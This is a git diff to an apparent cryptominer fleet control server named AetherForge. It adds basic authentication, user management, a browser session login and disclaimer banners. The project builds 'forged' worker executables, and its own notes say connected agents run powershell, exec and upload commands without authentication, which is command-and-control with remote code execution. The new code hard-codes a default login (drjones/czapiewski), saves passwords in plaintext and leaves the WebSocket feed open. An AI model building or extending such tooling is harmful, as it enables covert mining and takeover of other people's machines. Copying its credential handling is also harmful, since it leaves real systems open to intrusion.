diff --git a/.gitignore b/.gitignore index 3cf8462..c5227d7 100644 --- a/.gitignore +++ b/.gitignore @@ -31,3 +31,6 @@ Desktop.ini # Temp -p/ *.log + +# Accidental empty placeholder (breaks go build if committed) +/server/internal/ollama/main.go diff --git a/PROBLEMS.md b/PROBLEMS.md index a6bb0d5..16842dc 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -41,8 +41,8 @@ Findings grouped by severity. Updated after bug-sweep pass. | ID | Issue | |----|-------| -| C7 | No authentication on control plane (dashboard REST/WS) | -| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) | +| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. | +| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server | ### High (intentional / deploy-time) diff --git a/agent/client/client.go b/agent/client/client.go index 830ce22..8d75a12 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -241,6 +241,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } }() case "get_log": + if tailLines <= 0 { + tailLines = 300 + } content, err := readLogTail(c.cfg, tailLines) if err != nil { c.sendCommandResult(action, false, err.Error()) diff --git a/run.bat b/run.bat index a291714..27e9037 100644 --- a/run.bat +++ b/run.bat @@ -4,6 +4,11 @@ title AetherForge Control Server cd /d "%~dp0" set "ROOT=%CD%" +:: Remove corrupt empty Go file that breaks server builds (accidental placeholder). +if exist "server\internal\ollama\main.go" ( + for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go" +) + echo. echo ============================================================== echo AetherForge - Control Server Launcher diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 771ff32..96a3f52 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -86,6 +86,10 @@ type agentCommandRequest struct { func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "agent id is required", http.StatusBadRequest) + return + } var req agentCommandRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid command", http.StatusBadRequest) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 63d6110..c449226 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -1,10 +1,13 @@ package api import ( + "crypto/subtle" + "encoding/json" "net/http" "os" "path/filepath" "strings" + "sync" "crypto-miner-server/internal/builder" "crypto-miner-server/internal/db" @@ -14,22 +17,94 @@ import ( "github.com/go-chi/cors" ) -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, publicURLOverride func() string) http.Handler { +var ( + authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads + usersFilePath string + usersMu sync.RWMutex +) + +func loadUsers(dataDir string) { + usersFilePath = filepath.Join(dataDir, "users.json") + usersMu.Lock() + defer usersMu.Unlock() + data, err := os.ReadFile(usersFilePath) + if err == nil { + var loaded map[string]string + if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 { + authUsers = loaded + } + } +} + +func saveUser(username, password string) error { + usersMu.Lock() + defer usersMu.Unlock() + authUsers[username] = password + if usersFilePath == "" { + usersFilePath = filepath.Join("data", "users.json") + } + if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil { + return err + } + data, _ := json.MarshalIndent(authUsers, "", " ") + return os.WriteFile(usersFilePath, data, 0600) +} + +func basicAuthMiddleware(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodOptions { + next.ServeHTTP(w, r) + return + } + + path := r.URL.Path + // Agent-facing API + health + forged worker downloads stay open for agents. + if strings.HasPrefix(path, "/api/v1/agent/") || + path == "/api/v1/health" || + (strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) { + next.ServeHTTP(w, r) + return + } + + user, pass, ok := r.BasicAuth() + if !ok { + w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) + http.Error(w, "Unauthorized", http.StatusUnauthorized) + return + } + + usersMu.RLock() + expectedPass, exists := authUsers[user] + usersMu.RUnlock() + + if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 { + w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) + http.Error(w, "Unauthorized", http.StatusUnauthorized) + return + } + + next.ServeHTTP(w, r) + }) +} + +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { + loadUsers(dataDir) + r := chi.NewRouter() - // Middleware + // Middleware (global) r.Use(middleware.Logger) r.Use(middleware.Recoverer) r.Use(cors.Handler(cors.Options{ AllowedOrigins: []string{"*"}, AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"}, - // With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials). AllowCredentials: false, })) - // REST API + // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { + r.Use(basicAuthMiddleware) h := NewHandler(database) r.Get("/health", h.HealthCheck) @@ -82,6 +157,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) + // User Management + r.Post("/users", func(w http.ResponseWriter, req *http.Request) { + var payload struct { + Username string `json:"username"` + Password string `json:"password"` + } + if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" { + http.Error(w, "Invalid username or password", http.StatusBadRequest) + return + } + if err := saveUser(payload.Username, payload.Password); err != nil { + http.Error(w, "Failed to save user", http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"success": true}) + }) + // AI Autonomy (Ollama) r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 2ce88b0..be16240 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -253,23 +253,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { agentID = uuid.New().String() } - displayName := auth.WorkerName - if displayName == "" { - displayName = auth.Worker - } - if displayName == "" { - displayName = auth.Hostname - } - if displayName == "" { - displayName = agentID[:8] - } + displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) policy := h.serverPolicySnapshot() if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "fleet agent limit reached", })}) - continue + break } forgeCfg := AgentForgeConfig{ @@ -326,7 +317,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "database error", })}) - continue + break } if policy.LogAgentConnections { @@ -662,6 +653,29 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) { h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) } +func agentDisplayName(workerName, worker, hostname, agentID string) string { + if workerName != "" { + return workerName + } + if worker != "" { + return worker + } + if hostname != "" { + return hostname + } + return shortAgentID(agentID) +} + +func shortAgentID(id string) string { + if len(id) >= 8 { + return id[:8] + } + if id == "" { + return "agent" + } + return id +} + // BroadcastServerLog streams a server log line to connected dashboards. func (h *WSHub) BroadcastServerLog(line string) { line = strings.TrimSpace(line) diff --git a/server/internal/api/websocket_auth_test.go b/server/internal/api/websocket_auth_test.go index d3b99fd..ba7133d 100644 --- a/server/internal/api/websocket_auth_test.go +++ b/server/internal/api/websocket_auth_test.go @@ -32,3 +32,22 @@ func TestAuthPayloadWorkerNameFallback(t *testing.T) { t.Fatalf("expected forged worker name, got %q", displayName) } } + +func TestShortAgentID(t *testing.T) { + if shortAgentID("abcdef12-3456") != "abcdef12" { + t.Fatalf("expected 8-char prefix") + } + if shortAgentID("ab") != "ab" { + t.Fatalf("expected short id preserved") + } + if shortAgentID("") != "agent" { + t.Fatalf("expected fallback agent label") + } +} + +func TestAgentDisplayNameFallback(t *testing.T) { + name := agentDisplayName("", "", "", "12345678-abcd") + if name != "12345678" { + t.Fatalf("expected id prefix, got %q", name) + } +} diff --git a/server/main.go b/server/main.go index a268c47..2d8884a 100644 --- a/server/main.go +++ b/server/main.go @@ -168,7 +168,7 @@ func main() { log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") diff --git a/server/web/src/api/auth.ts b/server/web/src/api/auth.ts new file mode 100644 index 0000000..7ad2b86 --- /dev/null +++ b/server/web/src/api/auth.ts @@ -0,0 +1,24 @@ +const AUTH_KEY = 'aetherforge_auth'; + +export function getStoredAuth(): string | null { + try { + return sessionStorage.getItem(AUTH_KEY); + } catch { + return null; + } +} + +export function setStoredAuth(username: string, password: string) { + const token = btoa(`${username}:${password}`); + sessionStorage.setItem(AUTH_KEY, token); +} + +export function clearStoredAuth() { + sessionStorage.removeItem(AUTH_KEY); +} + +export function authHeaders(): Record { + const token = getStoredAuth(); + if (!token) return {}; + return { Authorization: `Basic ${token}` }; +} diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 9b65b35..110d414 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,10 +1,11 @@ import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types'; +import { authHeaders } from './auth'; const API_BASE = '/api/v1'; async function fetchJSON(url: string, options?: RequestInit): Promise { const res = await fetch(`${API_BASE}${url}`, { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record) }, ...options, }); if (!res.ok) { @@ -44,7 +45,11 @@ export const api = { const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); - return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => { + return fetch(`${API_BASE}/builder/build`, { + method: 'POST', + headers: authHeaders(), + body: form, + }).then(async (res) => { if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); @@ -70,7 +75,7 @@ export const api = { body: JSON.stringify({ name, data }), }), deleteBlueprint: (name: string) => - fetchJSON<{ success: string; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, { + fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, { method: 'DELETE', }), @@ -95,4 +100,10 @@ export const api = { }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), + + createUser: (username: string, password: string) => + fetchJSON<{ success: boolean }>('/users', { + method: 'POST', + body: JSON.stringify({ username, password }), + }), }; diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 00b58c5..a3c5e3f 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -27,12 +27,15 @@ export default function AgentsPage() { }, []); useEffect(() => { - if (isConnected) { - setAgents(liveAgents); - if (selectedAgent) { - const updated = liveAgents.find((a) => a.id === selectedAgent.id); - if (updated) setSelectedAgent(updated); - } + if (!isConnected) return; + setAgents(liveAgents); + if (!selectedAgent) return; + const updated = liveAgents.find((a) => a.id === selectedAgent.id); + if (updated) { + setSelectedAgent(updated); + } else { + setSelectedAgent(null); + setLogContent(''); } }, [liveAgents, isConnected, selectedAgent?.id]); @@ -237,6 +240,9 @@ export default function AgentsPage() { )} )} +
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime. +
); } diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 6ae8404..95a2c55 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -756,6 +756,14 @@ export default function BuilderPage() { +
+ + +
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
)} +
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime. +
); } diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index ebc52e2..6fc17fb 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -291,6 +291,9 @@ export default function DashboardPage() { +
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime. +
); } diff --git a/server/web/src/pages/GuidePage.tsx b/server/web/src/pages/GuidePage.tsx index 7218df5..e87ab95 100644 --- a/server/web/src/pages/GuidePage.tsx +++ b/server/web/src/pages/GuidePage.tsx @@ -125,6 +125,9 @@ export default function GuidePage() {

+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime. +
); } diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index bb467fb..06fca7e 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -1,5 +1,6 @@ import { useState, useEffect, useRef } from 'react'; import { api } from '../api/client'; +import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth'; import type { ServerConfig } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; @@ -11,6 +12,11 @@ export default function SettingsPage() { const [loading, setLoading] = useState(true); const [saving, setSaving] = useState(false); const [saveMessage, setSaveMessage] = useState(''); + const [newUser, setNewUser] = useState(''); + const [newPass, setNewPass] = useState(''); + const [sessionUser, setSessionUser] = useState(''); + const [sessionPass, setSessionPass] = useState(''); + const [userMsg, setUserMsg] = useState(''); const fileInputRef = useRef(null); useEffect(() => { @@ -102,6 +108,38 @@ export default function SettingsPage() { e.target.value = ''; }; + const handleSessionLogin = () => { + if (!sessionUser || !sessionPass) return; + setStoredAuth(sessionUser, sessionPass); + setUserMsg('Session login saved — API calls from this browser will authenticate.'); + setTimeout(() => setUserMsg(''), 4000); + }; + + const handleSessionLogout = () => { + clearStoredAuth(); + setSessionUser(''); + setSessionPass(''); + setUserMsg('Session login cleared.'); + setTimeout(() => setUserMsg(''), 3000); + }; + + const handleAddUser = async () => { + if (!newUser || !newPass) return; + try { + await api.createUser(newUser, newPass); + setUserMsg(`User "${newUser}" added successfully!`); + if (!getStoredAuth()) { + setStoredAuth(newUser, newPass); + } + setNewUser(''); + setNewPass(''); + setTimeout(() => setUserMsg(''), 3000); + } catch { + setUserMsg('Failed to save user — sign in under Browser session first.'); + setTimeout(() => setUserMsg(''), 4000); + } + }; + if (loading) { return (
@@ -416,7 +454,57 @@ export default function SettingsPage() {
+ + +

Access Control

+

+ API routes require login. Default account: drjones / czapiewski until you add users. + Save a session below so the dashboard can call the API (WebSocket live feed does not need this). +

+
+
+ + setSessionUser(e.target.value)} /> +
+
+ + setSessionPass(e.target.value)} /> +
+
+
+ + + {getStoredAuth() && Session active} +
+
+
+ + setNewUser(e.target.value)} /> +
+
+ + setNewPass(e.target.value)} /> +
+
+ + {userMsg && ( +
{userMsg}
+ )} +
+ ); }